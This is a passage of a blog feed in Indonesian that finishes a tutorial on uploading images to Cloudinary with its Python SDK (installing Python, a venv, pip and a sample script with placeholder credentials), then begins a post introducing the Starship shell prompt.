href=&quot;#2-running-python-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pada tampilan tersebut, klik bagian &lt;strong&gt;Python&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Cloudinary SDK with Python&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;541&quot; src=&quot;/_astro/ss3.DESbps4V_1hHnPm.webp&quot; /&gt;&lt;figcaption&gt;Cloudinary SDK with Python&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan kita akan disajikan tahapan-tahapan membuat otomatisasi manajemen file gambar dan video melalui Python di sana, termasuk diantaranya adalah meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;&lt;code&gt;pip&lt;/code&gt;&lt;/strong&gt; dan bahkan &lt;em&gt;source code&lt;/em&gt; Python-nya.&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkahnya:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Installing &lt;code&gt;python3&lt;/code&gt;.&lt;a href=&quot;#1-installing-python3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita perlu meng-&lt;em&gt;install&lt;/em&gt; Python3 terlebih dahulu jika belum memilikinya.&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install python3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy python&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install python3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pyton3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk memastikan Python3 sudah terpasang, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Python installed&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;281&quot; src=&quot;/_astro/ss4.BEJG2F-U_1Gws2y.webp&quot; /&gt;&lt;figcaption&gt;Python installed&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Creating python venv.&lt;a href=&quot;#2-creating-python-venv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Apa itu &lt;em&gt;virtual environment&lt;/em&gt; (venv)?&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3/library/venv.html&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://docs.python.org/3/library/venv.html&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;source: https://docs.python.org/3/library/venv.html&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;320&quot; src=&quot;/_astro/ss5.B8RYr24f_Z1g3Nf7.webp&quot; /&gt;&lt;figcaption&gt;source: https://docs.python.org/3/library/venv.html&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sederhananya, &lt;em&gt;virtual environment&lt;/em&gt; dalam Python adalah lingkungan khusus (virtual) yang menyediakan paket-paket penting (python &lt;em&gt;interpreter&lt;/em&gt;, &lt;em&gt;libraries&lt;/em&gt;, dan &lt;em&gt;binaries&lt;/em&gt;) yang dapat mendukung pembuatan suatu &lt;em&gt;project&lt;/em&gt; (&lt;em&gt;library&lt;/em&gt; atau aplikasi). Disebut lingkungan khusus (virtual) karena lingkungan ini (atau kita sebut saja folder / direktori) terisolasi dari &lt;em&gt;software&lt;/em&gt;/paket yang ter-&lt;em&gt;install&lt;/em&gt; di sistem operasi.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk membuat Python &lt;em&gt;virtual environment&lt;/em&gt; untuk Cloudinary kita sekaligus mengaktifkannya, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;venv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# membuat virtual environment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary/bin/activate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# mengaktifkan virtual environment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;br /&gt;
Bagian “cloudinary” tersebut adalah nama folder yang akan dibuat oleh Python. Jadi, bagian tersebut dapat diganti dengan preferensi nama yang diinginkan.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;creating python venv&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;528&quot; src=&quot;/_astro/ss6.DREe0iBD_Z2mWkya.webp&quot; /&gt;&lt;figcaption&gt;creating python venv&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Installing &lt;code&gt;cloudinary&lt;/code&gt; via &lt;code&gt;pip&lt;/code&gt;&lt;a href=&quot;#3-installing-cloudinary-via-pip&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita masuk ke dalam direktori “cloudinary” yang tadi sudah berhasil dibuat, kemudian, kita akan meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;cloudinary&lt;/code&gt; melalui &lt;em&gt;binary&lt;/em&gt; &lt;code&gt;pip&lt;/code&gt; yang terdapat dalam &lt;em&gt;virtual environment&lt;/em&gt; tersebut.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./bin/pip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;installing cloudinary via pip&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;577&quot; src=&quot;/_astro/ss8.DqM2MA7O_Z22NWgC.webp&quot; /&gt;&lt;figcaption&gt;installing cloudinary via pip&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Creating a script&lt;a href=&quot;#4-creating-a-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita akan membuat &lt;em&gt;script&lt;/em&gt; Python yang akan mengotomatisasi proses &lt;em&gt;upload&lt;/em&gt; filenya.&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;script&lt;/em&gt; Python yang sudah disediakan oleh Cloudinary:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; cloudinary&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; cloudinary.uploader&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; cloudinary.utils &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; cloudinary_url&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Configuration&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;cloudinary.&lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;cloud_name&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;your_cloud_name&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;api_key&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;your_api_key&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;api_secret&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;your_api_secret&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;# Click &apos;View API Keys&apos; above to copy your API secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;secure&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Upload an image&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;upload_result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; cloudinary.uploader.&lt;/span&gt;&lt;span&gt;upload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;https://res.cloudinary.com/demo/image/upload/getting-started/shoes.jpg&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;public_id&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;shoes&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(upload_result[&lt;/span&gt;&lt;span&gt;&quot;secure_url&quot;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Optimize delivery by resizing and applying auto-format and auto-quality&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;optimize_url, _ &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary_url&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;shoes&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;fetch_format&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;auto&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;quality&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;auto&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(optimize_url)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Transform the image: auto-crop to square aspect_ratio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;auto_crop_url, _ &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloudinary_url&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;shoes&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;width&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;500&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;height&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;500&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;crop&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;auto&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;gravity&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;auto&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(auto_crop_url)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Yang perlu kita perhatikan dari kode di atas adalah bagian API &lt;em&gt;credentials&lt;/em&gt;-nya, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;cloud_name&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;api_key&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;api_secret&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Dan tentu saja:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;upload_result&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;APIs are mechanisms that enable two software components to communicate with each other using a set of definitions and protocols. For example, the weather bureau’s software system contains daily weather data. The weather app on your phone “talks” to this system via APIs and shows you daily weather updates on your phone.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kita perlu mengisi API creds-nya dengan &lt;em&gt;value&lt;/em&gt; yang benar. Untuk mengetahuinya, kita hanya perlu mengklik bagian &lt;strong&gt;“View API keys”&lt;/strong&gt; di bagian bawah:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloud name, api key, and api secret&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;726&quot; src=&quot;/_astro/ss7.DRVuQLbJ_1yISP4.webp&quot; /&gt;&lt;figcaption&gt;cloud name, api key, and api secret&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sebelum menjalankan &lt;em&gt;script&lt;/em&gt;-nya, biasanya saya juga meng-&lt;em&gt;comment&lt;/em&gt; bagian “Optimize delivery …” dan “Transform the image…” karena tidak memerlukannya.&lt;/p&gt;&lt;p&gt;Sehingga, kurang lebih, &lt;em&gt;final script&lt;/em&gt;-nya nanti akan seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloudinary python script for uploading file&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;557&quot; src=&quot;/_astro/ss9.C9GzQ-gP_2jHE9D.webp&quot; /&gt;&lt;figcaption&gt;cloudinary python script for uploading file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Running the script&lt;a href=&quot;#running-the-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba jalankan…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span&gt;bin&lt;/span&gt;&lt;span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;python main.py&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloudinary python script for uploading file&quot; loading=&quot;lazy&quot; width=&quot;981&quot; height=&quot;758&quot; src=&quot;/_astro/ss10.C37FsWrc_ZgL96w.webp&quot; /&gt;&lt;figcaption&gt;cloudinary python script for uploading file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berhasil!&lt;/p&gt;&lt;p&gt;Kita juga dapat melihat file yang berhasil terunggah tersebut di akun Cloudinary kita, pada bagian &lt;strong&gt;“Media Explorer”&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloudinary media explorer&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;655&quot; src=&quot;/_astro/ss11.BGgOA7FU_ZIlHFy.webp&quot; /&gt;&lt;figcaption&gt;cloudinary media explorer&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Kita tidak hanya dapat meng-&lt;em&gt;upload&lt;/em&gt; file dari komputer kita saja, tetapi juga file yang ada di internet (Google, Google Drive, etc). Kita hanya perlu mengganti bagian &lt;em&gt;&lt;strong&gt;upload_file&lt;/strong&gt;&lt;/em&gt;-nya dengan URL yang diinginkan.&lt;/li&gt;
&lt;li&gt;Cloudinary versi gratis ini tidak mengizinkan kita untuk meng-&lt;em&gt;upload&lt;/em&gt; banyak file sekaligus, sehingga, kalau kita perlu melakukannya satu persatu jika ingin meng-&lt;em&gt;upload&lt;/em&gt; banyak file.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cloudinary.com/about&quot; target=&quot;_blank&quot;&gt;https://cloudinary.com/about&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cloudinary.com/pricing/compare-plans&quot; target=&quot;_blank&quot;&gt;https://cloudinary.com/pricing/compare-plans&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/what-is/api/&quot; target=&quot;_blank&quot;&gt;https://aws.amazon.com/what-is/api/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Starship: The Elegant yet Easy Way to Beautify Your Terminal Shell Prompt</title><link>https://shangdi.github.io/posts/tech/starship/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/starship/</guid><description>Do you get bored of your default shell prompt? Lets make it up with Starship!</description><pubDate>Wed, 28 May 2025 05:44:50 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Starship Overview&lt;a href=&quot;#starship-overview&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Starship&lt;/strong&gt; adalah &lt;em&gt;script&lt;/em&gt; yang dibuat dalam bahasa pemrograman &lt;a href=&quot;https://www.rust-lang.org/&quot; target=&quot;_blank&quot;&gt;Rust&lt;/a&gt; untuk mempercantik shell prompt dari terminal kita.
Jadi, &lt;strong&gt;starship&lt;/strong&gt; dapat digunakan di semua jenis shell (bash, zsh, fish, etc) di sistem operasi apapun (linux, bsd, mac, android, windows).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
Jika shell prompt default hanya akan menampilkan informasi tentang “user”, “hostname”, serta “current directory” saja, &lt;strong&gt;starship&lt;/strong&gt; dapat memberikan informasi tambahan lain (git version, os, time, etc) berikut dengan kustomisasi warna jika diinginkan.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The Objective&lt;a href=&quot;#the-objective&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Nah, di artikel ini, saya akan menunjukkan cara mengkonfigurasi “bash” shell di (Arch) Linux menggunakan &lt;strong&gt;starship&lt;/strong&gt; dengan preset “catputccin powerline”.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The Tutorial&lt;a href=&quot;#the-tutorial&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Website resmi &lt;strong&gt;starship&lt;/strong&gt;: &lt;a href=&quot;https://starship.rs/&quot; target=&quot;_blank&quot;&gt;https://starship.rs/&lt;/a&gt;&lt;br /&gt;
Panduan penggunaan &lt;strong&gt;starship&lt;/strong&gt;: &lt;a href=&quot;https://starship.rs/guide/&quot; target=&quot;_blank&quot;&gt;https://starship.rs/guide/&lt;/a&gt;&lt;br /&gt;
Daftar preset &lt;strong&gt;starship&lt;/strong&gt;: &lt;a href=&quot;https://starship.rs/presets/&quot; target=&quot;_blank&quot;&gt;https://starship.rs/presets/&lt;/a&gt;&lt;br /&gt;
